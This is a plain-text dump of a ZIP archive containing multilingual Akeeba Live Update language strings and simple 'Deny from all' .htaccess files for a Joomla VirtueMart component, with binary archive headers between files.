      Vennligst oppgi FTP brukernavn og passord nedenfor for å fortsette med oppdateringen." LIVEUPDATE_FTP="Informasjon" LIVEUPDATE_FTPUSERNAME="FTP brukernavn" LIVEUPDATE_FTPPASSWORD="FTP Passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringen mislyktes. Pass på at temp-mappen er skrivbar, eller at du har aktivert Joomla! 's FTP alternativer i Global konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Prøv å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakke type. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Live oppdatering støttes ikke" LIVEUPDATE_ICON_CRASHED="Live oppdatering krasjet" LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen" LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PKs>\Xv ;com_virtuemart_allinone/language/de-DE/de-DE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by Niko Winckel - www.nik-o-mat.de LIVEUPDATE_TASK_OVERVIEW="Echtzeitaktualisierung" LIVEUPDATE_NOTSUPPORTED_HEAD="Die Echtzeitaktualisierung wird auf diesem Server nicht unterstützt" LIVEUPDATE_NOTSUPPORTED_INFO="Ihr Server zeigt an, dass die Echtzeitaktualisierung nicht unterstützt wird. Bitte kontaktieren Sie Ihren Anbieter und bitten ihn, die cURL-PHP-Erweiterung zu aktivieren oder die URL fopen() Wrapper. Sollten diese schon aktviert sein, bitten Sie ihn, die Firewall so zu konfigurieren, dass sie den Zugriff auf folgende URL zulässt:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sie können immer aktualisieren %s indem Sie unsere Internetseite besuchen, die neueste Version herunterladen und ganz normal installieren." LIVEUPDATE_STUCK_HEAD="Die Echtzeitaktualisierung hat sich selbst als abgestürzt gemeldet" LIVEUPDATE_STUCK_INFO="Die Echtzeitaktualisierung hat festgestellt, dass sie beim letzten Versuch den Aktualisierungsserver zu erreichen abgestürzt ist. Dies deutet meist auf einen Anbieter hin, der die Kommunikation mit externen Servern blockiert. Sollten Sie die Aktulalisierungsinformationen nochmals abrufen wollen, klicken Sie bitte auf den Knopf "Aktualisierungsinformationen abrufen". Sollte dieser Versuch auf einer weißen Seite enden, melden Sie diesen Fehler ihrem Anbieter." LIVEUPDATE_ERROR_NEEDSAUTH="Bevor Sie eine Echtzeitaktualisierung durchführen können, müssen Sie Ihren Benutzernamen, das Passwort bzw. die Download-ID angeben. Der Aktualisierungsknopf wird solange ohne Funktion bleiben." LIVEUPDATE_HASUPDATES_HEAD="Es gibt eine neue Version" LIVEUPDATE_NOUPDATES_HEAD="Sie haben die aktuelle Version" LIVEUPDATE_CURRENTVERSION="Installierte Version" LIVEUPDATE_LATESTVERSION="Neueste Version" LIVEUPDATE_LATESTRELEASED="Neuestes Veröffentlichungsdatum" LIVEUPDATE_DOWNLOADURL="Direkte Download-URL" LIVEUPDATE_REFRESH_INFO="Aktualisierungsinformationen abrufen" LIVEUPDATE_DO_UPDATE="Auf die neueste Version aktualisieren" LIVEUPDATE_FTP_REQUIRED="Die Echtzeitaktualisierung hat festgestellt, dass FTP für die Aktualisierung und Installation verwednet werden muss. Sie haben aber noch keine FTP-Daten in der Joomla!-Konfiguraton angegeben.

      BItte geben Sie Ihre FTP-Daten ein, bevor Sie mit der Aktualisierung fortfahren." LIVEUPDATE_FTP="FTP Informationen" LIVEUPDATE_FTPUSERNAME="FTP Benutzername" LIVEUPDATE_FTPPASSWORD="FTP Passwort" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Aktualisierung herunterladen und installieren" LIVEUPDATE_DOWNLOAD_FAILED="Das Herunterladen des Aktualisierungspakets ist fehlgeschlagen. Bitte stellen Sie sicher, dass Ihr temp-Verzeichnis Schreibrechte besitzt und Sie Ihre FTP-Nutzerdaten in der Joomla!-Konfiguration angegeben haben." LIVEUPDATE_EXTRACT_FAILED="Das Auspacken des Aktualisierungspakets ist fehlgeschlagen. Bitte aktualisieren Sie die Erweiterung manuell." LIVEUPDATE_INVALID_PACKAGE_TYPE="Falscher Aktualisierungspakettyp. Die Aktualisierung kann nicht durchgeführt werden." LIVEUPDATE_INSTALLEXT="Installiere %s %s" LIVEUPDATE_ERROR="Fehler" LIVEUPDATE_SUCCESS="Erfolg" LIVEUPDATE_ICON_UNSUPPORTED="Echtzeitaktualisierung nicht unterstützt" LIVEUPDATE_ICON_CRASHED="Live Update abgestürzt" LIVEUPDATE_ICON_CURRENT="Sie haben die aktuelle Version" LIVEUPDATE_ICON_UPDATES="AKTUALISIERUNG GEFUNDEN! JETZT AKTUALISIEREN."PKs>\)0com_virtuemart_allinone/language/de-DE/.htaccessnuW+A Order allow,deny Deny from all PKs>\)0com_virtuemart_allinone/language/pl-PL/.htaccessnuW+A Order allow,deny Deny from all PKs>\@2R ;com_virtuemart_allinone/language/pl-PL/pl-PL.liveupdate.ininuW+A; $Id: pl-PL.liveupdate.ini 632 2011-05-22 20:44:46Z nikosdion $ ; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by: Marek Kolka - 'zorro' - http://www.zorro.cal24.pl LIVEUPDATE_TASK_OVERVIEW="Aktualizacja" LIVEUPDATE_NOTSUPPORTED_HEAD="Aktualizacja nie jest obsługiwana na tym serwerze" LIVEUPDATE_NOTSUPPORTED_INFO="Twój serwer sygnalizuje, że Aktualizacja nie jest obsługiwana. Proszę skontaktować się administratorem hosta i poprosić o włączenie rozszerzenia cURL PHP albo aktywowanie URL fopen() wrappers. Jeżeli te są już włączone, poproś o skonfigurowanie firewalla tak, by umożliwił dostęp do następującego adresu URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Zawsze można zaktualizować %s odwiedzając naszeą witrynę ręcznie, pobranie najnowszej wersji i instalacji za pomocą instalatora rozszerzeń Joomla!." LIVEUPDATE_STUCK_HEAD="Aktualizacja oznaczona jako niepowodzenie" LIVEUPDATE_STUCK_INFO="Aktualizacja zaznacza o niepowodzeniu podczas ostatniej próby kontaktu z serwerem aktualizacji. To zwykle wskazuje na hosta, który aktywnie blokuje komunikacje z zewnętrznymi stronami. Jeśli chcesz ponowić próbę pobierania informacje o aktualizacji, kliknij przycisk "Odśwież informacje o aktualizacji" poniżej. Jeśli wynikiem jest pusta strona, proszę skontaktować się z administracją hosta i zgłosić ten problem." LIVEUPDATE_ERROR_NEEDSAUTH="Musisz podać swój login/hasło lub Download ID w parametrach komponentu przed próbą aktualizacji do najnowszej wersji. Przycisk aktualizacji pozostanie wyłączony do czasu aż to zrobisz." LIVEUPDATE_HASUPDATES_HEAD="Nowa wersja jest dostępna" LIVEUPDATE_NOUPDATES_HEAD="Masz już najnowszą wersję" LIVEUPDATE_CURRENTVERSION="Zainstalowana wersja" LIVEUPDATE_LATESTVERSION="Najnowsza wersja" LIVEUPDATE_LATESTRELEASED="Data najnowszej wersji" LIVEUPDATE_DOWNLOADURL="URL bezpośredniego pobierania" LIVEUPDATE_REFRESH_INFO="Odśwież informacje o aktualizacji" LIVEUPDATE_DO_UPDATE="Aktualizacja do najnowszej wersji" LIVEUPDATE_FTP_REQUIRED="Aktualizacja zaznacza, że musi korzystać z protokołu FTP w celu pobrania i zainstalowania aktualizacji, ale nie zostały wcześniej zapisane dane logowania FTP w twojej Konfiguracji Globalnej Joomla!.

      Prosimy o podanie nazwy użytkownika i hasła FTP poniżej, aby kontynuować aktualizację." LIVEUPDATE_FTP="Informacje FTP" LIVEUPDATE_FTPUSERNAME="Login FTP" LIVEUPDATE_FTPPASSWORD="Hasło FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Pobierz i zainstaluj aktualizację" LIVEUPDATE_DOWNLOAD_FAILED="Pobranie pakietu aktualizacji nie powiodło się. Upewnij się, że katalog tymczasowy jest zapisywalny lub, że masz włączoną opcję FTP Joomla! w Konfiguracji Globalnej twojej witryny." LIVEUPDATE_EXTRACT_FAILED="Rozpakowanie pakietu aktualizacji nie powiodło się. Proszę spróbować aktualizacji rozszerzenia ręcznie." LIVEUPDATE_INVALID_PACKAGE_TYPE="Nieprawidłowy typ pakietu. Aktualizacja nie może być kontynuowana." LIVEUPDATE_INSTALLEXT="Instalacja %s %s" LIVEUPDATE_ERROR="Błąd" LIVEUPDATE_SUCCESS="Powodzenie" LIVEUPDATE_ICON_UNSUPPORTED="Aktualizacja nie jest obsługiwana" LIVEUPDATE_ICON_CRASHED="Aktualizacja nie powiodła się" LIVEUPDATE_ICON_CURRENT="Masz najnowszą wersję" LIVEUPDATE_ICON_UPDATES="ZNALEZIONO AKTUALIZACJĘ! Kliknij!."PKs>\)*com_virtuemart_allinone/language/.htaccessnuW+A Order allow,deny Deny from all PKs>\)0com_virtuemart_allinone/language/el-GR/.htaccessnuW+A Order allow,deny Deny from all PKs>\;com_virtuemart_allinone/language/el-GR/el-GR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Απευθείας Ενημέρωση" LIVEUPDATE_NOTSUPPORTED_HEAD="Η Απευθείας Ενημέρωση δεν υποστηρίζεται από αυτόν τον διακομιστή" LIVEUPDATE_NOTSUPPORTED_INFO="Ο διακομιστής σας δείχνει ότι η Απευθείας Ενημέρωση δεν υποστηρίζεται. Παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας σας και ζητήστε του να ενεργοποιήσει την επέκταση cURL της PHP ή τους URL fopen() wrappers. Εάν είναι ήδη ενεργοποιημένα, παρακαλώ ζητήστε του να ανοίξει το τείχος ασφαλείας ώστε να επιτρέπει την πρόσβαση στην παρακάτω διεύθυνση URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Μπορείτε πάντα να ενημερώστε το λογισμικό %s επισκεπτόμενοι τον ιστότοπό μας, κατεβάζοντας την τελευταία έκδοση και εγκαθιστόντας την με την εγκατάσταση εφαρμογών του Joomla!." LIVEUPDATE_STUCK_HEAD="Η Απευθείας Ενημέρωση ανίχνευσε αποτυχία λειτουργίας" LIVEUPDATE_STUCK_INFO="Η Απευθείας Ενημέρωση εντόπισε ότι η τελευταία απόπειρα επικοινωνίας με τον διακομιστή ενημερώσεων κατέληξε σε κόλλημα. Αυτό συνήθως υποδυκνείει έναν πάροχο φιλοξενίας που μπλοκάρει ενεργά τις προσπάθειες επικοινωνίας με εξωετρικούς ιστοχώρους. Εάν θα θέλατε να δοκιμάσετε να ξαναπροσπαθήσουμε να λάβουμε τις πληροφορίες ενημέρωσεις, παρακαλώ κάντε κλικ στο κουμπί "Ανανέωση πληροφοριών ενημερώσεων" πιο κάτω. Εάν αυτό οδηγήσει σε λευκή σελίδα, παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας και αναφέρετε αυτό το πρόβλημα." LIVEUPDATE_ERROR_NEEDSAUTH="Πρέπει να εισάγετε το όνομα χρήστη και συνθηματικό ή το Αναγνωριστικό Μεταφόρτωσης στις παραμέτρους της εφαρμογής πριν προσπαθήσετε να αναβαθμίσετε στην τελευταία έκδοση. Το κουμπί ενημέρωσης θα παραμείνει ανενεργό έως ότου το κάνετε." LIVEUPDATE_HASUPDATES_HEAD="Μια νέα έκδοση είναι διαθέσιμη" LIVEUPDATE_NOUPDATES_HEAD="Έχετε ήδη την τελευταία έκδοση" LIVEUPDATE_CURRENTVERSION="Εγκατεστημένη έκδοση" LIVEUPDATE_LATESTVERSION="Τελευταία έκδοση" LIVEUPDATE_LATESTRELEASED="Ημερομηνία έκδοσης" LIVEUPDATE_DOWNLOADURL="Διεύθυνση απευθείας μεταφόρτωσης" LIVEUPDATE_REFRESH_INFO="Ανανέωση πληροφοριών ενημεερώσεων" LIVEUPDATE_DO_UPDATE="Ενημέρωση στην τελευταία έκδοση" LIVEUPDATE_FTP_REQUIRED="Η Απευθείας Ενημέρωση εντόπισε ότι απαιτείται η χρήση FTP για να μεταφορτώσει και να εγκαταστήσει την ενημέρωσή σας, αλλά δεν έχετε σώσει τις πληροφορίες εισόδου στο FTP στις Γενικές Ρυθμίσεις του Joomla!.

      Παρακαλώ εισάγετε το όνομα χρήστη και το συνθηματικό για το FTP προκειμένου να προχωρήσετε με την ενημέρωση." LIVEUPDATE_FTP="Πληροφορίες FTP" LIVEUPDATE_FTPUSERNAME="Όνομα Χρήστη FTP" LIVEUPDATE_FTPPASSWORD="Συνθηματικό FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Μεταφόρτωση και εγκατάσταση ενημέρωσης" LIVEUPDATE_DOWNLOAD_FAILED="Η μεταφόρτωση του πακέτου ενημέρωσης απέτυχε. Παρακαλώ βεβαιωθείτε ότι ο κάταλογος προσωρινής αποθήκευσης είναι εγγράψιμος ή ότι έχετε ενεργοποιήσει τις επιλογές FTP στις Γενικές Ρυθμίσεις του ιστοχώρου σας." LIVEUPDATE_EXTRACT_FAILED="Η αποσυμπίεση του πακέτου αναβάθμισης απέτυχε. Παρακαλώ δοκιμάστε να εγκαταστήσετε την επέκταση χειροκίνητα." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ο τύπος του πακέτου δεν είναι έγκυρος. Η αναβάθμιση δεν μπορεί να συνεχίσει." LIVEUPDATE_INSTALLEXT="Εγκατάσταση %s %s" LIVEUPDATE_ERROR="Σφάλμα" LIVEUPDATE_SUCCESS="Επιτυχία" LIVEUPDATE_ICON_UNSUPPORTED="Η Απευθείας Ενημέρωση δεν υποστηρίζεται" LIVEUPDATE_ICON_CRASHED="Η Απευθείας Ενημέρωση κόλλησε" LIVEUPDATE_ICON_CURRENT="Έχετε την τελευταία έκδοση" LIVEUPDATE_ICON_UPDATES="ΒΡΕΘΗΚΕ ΕΝΗΜΕΡΩΣΗ! ΚΑΝΤΕ ΚΛΙΚ ΓΙΑ ΑΝΑΒΑΘΜΙΣΗ."PKs>\##;com_virtuemart_allinone/language/fr-FR/fr-FR.liveupdate.ininuW+A; Package Akeeba Backup ; Version fr-FR.liveupdate.ini 2011-07-23 by Sarki ; Copyright (c)2006-2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU GPLv3 or later ; Note : All ini files need to be saved as UTF-8 LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update n'est pas pris en charge sur ce serveur" LIVEUPDATE_NOTSUPPORTED_INFO="Votre serveur indique que Live Update n'est pas supporté. Veuillez contactez votre hébergeur et leur demander d'activer l'extension PHP cURL ou activer la fonction fopen URL () . Si ceux-ci sont déjà activés, veuillez leur demander de configurer leur pare-feu afin qu'il autorise l'accès à l'URL suivante:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Vous pouvez toujours mettre à jour %s en visitant notre site manuellement, télécharger la dernière version et l'installer en utilisant l'extension d'installation de Joomla!" LIVEUPDATE_STUCK_HEAD="Live Update a échoué !" LIVEUPDATE_STUCK_INFO="Live Update a échoué la dernière fois qu'il a essayé de contacter le serveur de mise à jour. Cela signifie généralement que votre hébergeur bloque activement les communications avec des sites externes. Si vous souhaitez réessayer de récupérer les informations de mise à jour, cliquez sur le bouton " Rafraichir les informations de mise à jour ". S'il en résulte une page blanche, veuillez contactez votre hébergeur et lui signaler ce problème." LIVEUPDATE_ERROR_NEEDSAUTH="Pour activer le bouton de mise à jour, vous devez fournir votre nom d'utilisateur/mot de passe ( ou votre ID de Téléchargement ) dans les paramètres du composant pour pouvoir mettre à jour vers la dernière version." LIVEUPDATE_HASUPDATES_HEAD="Une nouvelle version est disponible" LIVEUPDATE_NOUPDATES_HEAD="Vous avez la dernière version" LIVEUPDATE_CURRENTVERSION="Version installée" LIVEUPDATE_LATESTVERSION="Dernière version" LIVEUPDATE_LATESTRELEASED="Date de la dernière version " LIVEUPDATE_DOWNLOADURL="URL de téléchargement directe" LIVEUPDATE_REFRESH_INFO="Rafraichir les informations de mise à jour" LIVEUPDATE_DO_UPDATE="Mettre à jour vers la dernière version" LIVEUPDATE_FTP_REQUIRED="Live Update a besoin d'utiliser la couche FTP pour télécharger et installer la mise à jour, mais vous n'avez pas sauvegardé vos informations de connexion FTP dans la Configuration globale de Joomla!

      Veuillez fournir ci-dessous votre nom d'utilisateur et votre mot de passe FTP afin de procéder à la mise à jour." LIVEUPDATE_FTP="Informations FTP" LIVEUPDATE_FTPUSERNAME="Nom d'utilisateur FTP" LIVEUPDATE_FTPPASSWORD="Mot de passe FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Télécharger et installez la mise à jour" LIVEUPDATE_DOWNLOAD_FAILED="Le téléchargement du package de mise à jour a échoué. Assurez-vous que votre répertoire temporaire (tmp) est accessible en écriture et que vous avez activé les options FTP dans la configuration globale de Joomla!." LIVEUPDATE_EXTRACT_FAILED="L'extraction du package de mise à jour a échoué. Veuillez mettez à jour l'extension manuellement." LIVEUPDATE_INVALID_PACKAGE_TYPE="Le type du package n'est pas valide. La mise à jour ne peut pas continuer." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Erreur" LIVEUPDATE_SUCCESS="Réussite" LIVEUPDATE_ICON_UNSUPPORTED="Live Update n'est pas pris en charge" LIVEUPDATE_ICON_CRASHED="Live Update a échoué!" LIVEUPDATE_ICON_CURRENT="Vous avez la dernière version" LIVEUPDATE_ICON_UPDATES="MISE À JOUR ! Cliquez pour l'appliquer..."PKs>\)0com_virtuemart_allinone/language/fr-FR/.htaccessnuW+A Order allow,deny Deny from all PKs>\)0com_virtuemart_allinone/language/uk-UA/.htaccessnuW+A Order allow,deny Deny from all PKs>\CO;com_virtuemart_allinone/language/uk-UA/uk-UA.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update не підтримується на цьому сервері" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сигналізує, що Live Update не підтримується. Будь ласка, зв’яжіться з вашим постачальником послуг хостингу і попросіть його ввімкнути розширення PHP cURL або активувати пакувальники URL fopen(). Якщо вони вже ввімкнені, будь ласка, попросіть його сконфігурувати мережеві екрани так, щоб вони дозволяли доступ до цих URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Ви можете завжди оновити %s відвідавши наш сайт персонально, завантажити останній випуск та встановити його, використовуючи інсталятор розширень Joomla!." LIVEUPDATE_STUCK_HEAD="Live Update позначив себе таким, що зазнав краху" LIVEUPDATE_STUCK_INFO="Live Update визначив, що він зазнав краху останнього разу, коли намагався зв’язатися з сервером оновлень. Це зазвичай означає, що хост активно блокує комунікацію з зовнішніми сайтами. Якщо ви ви захочете спробувати знову отримати інформацію про оновлення, будь ласка, натисніть на кнопку "Оновити інформацію " нижче. Якщо це видасть пусту сторінку, будь ласка, зв’яжіться з постачальником послуг хостингу і опишіть цю проблему." LIVEUPDATE_ERROR_NEEDSAUTH="Ви повинні надати ваше ім’я користувача/пароль або ID завантаження в параметрах компоненту перед тим, як намагатися оновитися до останнього випуску. Кнопка оновлення буде залишатися неактивною, доки ви цього не зробите." LIVEUPDATE_HASUPDATES_HEAD="Доступна нова версія" LIVEUPDATE_NOUPDATES_HEAD="У вас уже встановлена остання версія" LIVEUPDATE_CURRENTVERSION="Встановлена версія" LIVEUPDATE_LATESTVERSION="Остання версія" LIVEUPDATE_LATESTRELEASED="Дата останнього випуску" LIVEUPDATE_DOWNLOADURL="URL для безпосереднього завантаження" LIVEUPDATE_REFRESH_INFO="Оновити інформацію" LIVEUPDATE_DO_UPDATE="Оновити до останньої версії" LIVEUPDATE_FTP_REQUIRED="Live Update визначив, що йому потрібно використовувати FTP для завантаження та встановлення вашого оновлення, але ви не зберегли інформацію вашого логіну FTP на сторінці Загальної Конфігурації Joomla! .

      Будь ласка, надайте ім’я користувача і пароль FTP нижче, щоб продовжити процес оновлення." LIVEUPDATE_FTP="Інформація FTP" LIVEUPDATE_FTPUSERNAME="Ім’я користувача FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Завантажити і встановити оновлення" LIVEUPDATE_DOWNLOAD_FAILED="Завантаження пакету оновлень не вдалося. Переконайтесь, що ваш тимчасовий каталог доступний для запису або що ви ввімкнули налаштування FTP в Загальній Конфігурації Joomla!." LIVEUPDATE_EXTRACT_FAILED="Видобування пакету оновлень не вдалося. Будь ласка, спробуйте оновити розширення вручну." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неправильний тип пакету. Оновлення не може бути продовжено." LIVEUPDATE_INSTALLEXT="Встановлення %s %s" LIVEUPDATE_ERROR="Помилка" LIVEUPDATE_SUCCESS="Успішно" LIVEUPDATE_ICON_UNSUPPORTED="Live Update не підтримується" LIVEUPDATE_ICON_CRASHED="Live Update зазнало краху" LIVEUPDATE_ICON_CURRENT="У вас остання версія" LIVEUPDATE_ICON_UPDATES="ЗНАЙДЕНО ОНОВЛЕННЯ! НАТИСНІТЬ ДЛЯ ЗАПУСКУ ОНОВЛЕННЯ."PKs>\Ϛ[ ;com_virtuemart_allinone/language/en-GB/en-GB.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update %s by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer." LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_HASUPDATES_HEAD="A new version is available" LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version" LIVEUPDATE_CURRENTVERSION="Installed version" LIVEUPDATE_LATESTVERSION="Latest version" LIVEUPDATE_LATESTRELEASED="Latest release date" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_REFRESH_INFO="Refresh update information" LIVEUPDATE_DO_UPDATE="Update to the latest version" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

      Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_FTP="FTP Information" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update" LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration." LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually." LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed." LIVEUPDATE_INSTALLEXT="Install %s %s" LIVEUPDATE_ERROR="Error" LIVEUPDATE_SUCCESS="Success" LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported" LIVEUPDATE_ICON_CRASHED="Live Update crashed" LIVEUPDATE_ICON_CURRENT="You have the latest version" LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE."PKs>\)0com_virtuemart_allinone/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PKs>\bLD;com_virtuemart_allinone/language/ru-RU/ru-RU.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Автоматическое обновление" LIVEUPDATE_NOTSUPPORTED_HEAD="Автоматическое обновление не поддерживается на этом сервере" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сообщает, что автоматическое обновление не поддерживается. Пожалуйста, обратитесь к вашему хостеру и попросите его разрешить CURL расширение для PHP или активировать функцию URL FOPEN (). Если они уже включены, пожалуйста, попросите его настроить их брандмауэр так, что он позволял получить доступ к следующему адресу:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Вы всегда сможете обновить %s посетив наш сайт, вручную, загрузив последнюю версию и установив ее с помощью Joomla!." LIVEUPDATE_STUCK_HEAD="Автоматическое обновление обнаружило ошибку" LIVEUPDATE_STUCK_INFO="Автоматическое обновление обнаружило, что произошла ошибка при последнем сеансе связи с сервером обновлений. Обычно это означает, что хост блокирует связи с внешними сайтами. Если вы хотели бы снова получить информацию об обновлении, пожалуйста, нажмите кнопку "Обновить информацию об обновлении" , расположенную ниже. Если это приводит к появлению пустой страницы, пожалуйста, свяжитесь с вашим хостером и сообщите об этой проблеме." LIVEUPDATE_ERROR_NEEDSAUTH="Вы должны ввести ваше имя пользлвателя/пароль или ID загрузки в параметры компонента перед попыткой обновления до последней версии. Кнопка обновления будет оставаться неактивной, пока вы этого не сделаете." LIVEUPDATE_HASUPDATES_HEAD="Доступна новая версия" LIVEUPDATE_NOUPDATES_HEAD="У вас уже установлена последняя версия" LIVEUPDATE_CURRENTVERSION="Установленная версия" LIVEUPDATE_LATESTVERSION="Последняя версия" LIVEUPDATE_LATESTRELEASED="Дата выхода последней версии" LIVEUPDATE_DOWNLOADURL="Ссылка для прямой загрузки" LIVEUPDATE_REFRESH_INFO="Обновить информацию об обновлении" LIVEUPDATE_DO_UPDATE="Обновить до последней версии" LIVEUPDATE_FTP_REQUIRED="Автоматическое обновление определило, что необходимо использовать FTP для загрузки и установки обновления, но вы не сохранили данные для авторизации на FTP в Общих настройках Joomla!.

      Просьба ввести имя пользователя и пароль FTP для продолжения обновления." LIVEUPDATE_FTP="Информация FTP" LIVEUPDATE_FTPUSERNAME="Имя пользователя FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Загрузить и установить обновление" LIVEUPDATE_DOWNLOAD_FAILED="Загрузка пакета обновления не удалась. Убедитесь, что временный каталог доступен для записи или что вы включили FTP в Общих настройках Joomla!." LIVEUPDATE_EXTRACT_FAILED="Извлечение пакета обновления не удалось. Пожалуйста, попробуйте обновить компонент вручную." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неверный тип пакета. Обновление не может продолжаться." LIVEUPDATE_INSTALLEXT="Установлено %s %s" LIVEUPDATE_ERROR="Ошибка" LIVEUPDATE_SUCCESS="Успешно" LIVEUPDATE_ICON_UNSUPPORTED="Автоматическое обновление не поддерживается" LIVEUPDATE_ICON_CRASHED="Автоматическое обновление не прошло" LIVEUPDATE_ICON_CURRENT="У вас последняя версия" LIVEUPDATE_ICON_UPDATES="НАЙДЕНО ОБНОВЛЕНИЕ! НАЖМИТЕ ДЛЯ ОБНОВЛЕНИЯ."PKs>\)0com_virtuemart_allinone/language/ru-RU/.htaccessnuW+A Order allow,deny Deny from all PKs>\mfL L ;com_virtuemart_allinone/language/no-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live oppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live oppdatering støttes ikke på denne serveren" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live oppdatering ikke støttes. Vennligst kontakt din leverandør og be dem aktivere cURL PHP eller aktivere URL fopen() wrappers. Dersom disse allerede er aktivert, kan du be dem om å konfigurere sin brannmur slik at den gir tilgang til følgende URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere manuelt%s ved å besøke vår side, laste ned den nyeste versjonen, og installere det ved hjelp av Joomla installasjonsprogrammet." LIVEUPDATE_STUCK_HEAD="Live oppdatering har markert seg selv som krasjet" LIVEUPDATE_STUCK_INFO="Live oppdatering krasjet forrige gang den prøvde å kontakte oppdateringsserveren. Dette betyr vanligvis en leverandør som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å prøve å hente oppdateringsinformasjonen, klikk på knappen "Oppdater oppdateringsinformasjonen" under. Hvis dette resulterer i en blank side, kontakte din leverandør og rapportere dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi brukernavn/passord eller nedlastnings ID til komponentens parametre før du forsøker å oppgradere til siste versjon. Oppgraderingsknappen vil forbli deaktivert til du gjøre det." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" 